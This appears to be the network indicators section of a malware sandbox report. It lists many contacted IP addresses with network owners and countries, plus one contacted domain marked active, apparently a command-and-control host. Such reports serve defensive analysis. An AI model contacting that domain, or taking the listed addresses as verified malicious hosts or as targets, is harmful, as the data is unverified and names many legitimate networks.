721 DNIC-ASBLK-00721-00726US false
93.146.95.136
 unknown Italy
30722 VODAFONE-IT-ASNIT false
203.43.145.142
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
87.22.219.54
 unknown Italy
3269 ASN-IBSNAZIT false
196.111.167.170
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
160.204.29.106
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
91.128.18.76
 unknown Austria
1257 TELE2EU false
84.14.29.72
 unknown France
8220 COLTCOLTTechnologyServicesGroupLimitedGB false
109.35.66.29
 unknown Netherlands
15480 VFNL-ASVodafoneNLAutonomousSystemNL false
28.3.152.26
 unknown United States
7922 COMCAST-7922US false
104.99.151.116
 unknown United States
3491 BTN-ASNUS false
133.148.150.114
 unknown Japan 10021 KVHKVHCoLtdJP false
206.81.207.16
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
163.200.222.201
 unknown South Africa
2018 TENET-1ZA false
106.87.209.7
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
177.190.91.8
 unknown Brazil
262977 ADSNETTELECOMLTDAMEBR false
3.84.59.106
 unknown United States
14618 AMAZON-AESUS false
108.223.9.88
 unknown United States
7018 ATT-INTERNET4US false
115.151.149.50
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
214.124.11.3
 unknown United States
721 DNIC-ASBLK-00721-00726US false
191.76.7.123
 unknown Colombia
26611 COMCELSACO false
118.0.142.160
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
6.115.147.134
 unknown United States
3356 LEVEL3US false
47.141.189.106
 unknown United States
5650 FRONTIER-FRTRUS false
163.64.9.200
 unknown France
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
57.30.197.152
 unknown Belgium
2686 ATGS-MMD-ASUS false
133.15.197.101
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
94.192.147.117
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
164.197.42.59
 unknown United States
2621 DNIC-AS-02621US false
85.66.133.233
 unknown Hungary
20845 DIGICABLEHU false
47.217.196.5
 unknown United States
19108 SUDDENLINK-COMMUNICATIONSUS false
170.115.239.245
 unknown United States
11205 CITY-OF-PHILADELPHIAUS false
172.131.215.13
 unknown United States
7018 ATT-INTERNET4US false
197.85.6.77
 unknown South Africa
10474 OPTINETZA false
169.133.158.187
 unknown United States
18815 AS-CITY-AND-COUNTY-OF-DENVERUS false
180.23.58.174
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
124.252.2.238
 unknown Australia
38016 NOK-ION-LABSNokiaIPOpticalNetworksLabsAU false
6.43.135.184
 unknown United States
3356 LEVEL3US false
77.251.74.161
 unknown Netherlands
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
51.116.106.35
 unknown United Kingdom
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
131.109.126.168
 unknown United States
14464 RINETUS false
204.26.34.27
 unknown United States
18558 NETBLK-RCOEKUS false
5.217.177.121
 unknown Iran (ISLAMIC Republic Of)
197207 MCCI-ASIR false
46.212.241.8
 unknown Norway
41164 GET-NOGETNorwayNO false
141.71.212.51
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
136.181.197.136
 unknown United States
13325 STOMIUS false
95.81.147.208
 unknown France
43646 TDFFR false
174.103.100.43
 unknown United States
10796 TWC-10796-MIDWESTUS false

Contacted Domains

Name IP Active
fortyfivehundred.dyn 103.253.147.242 true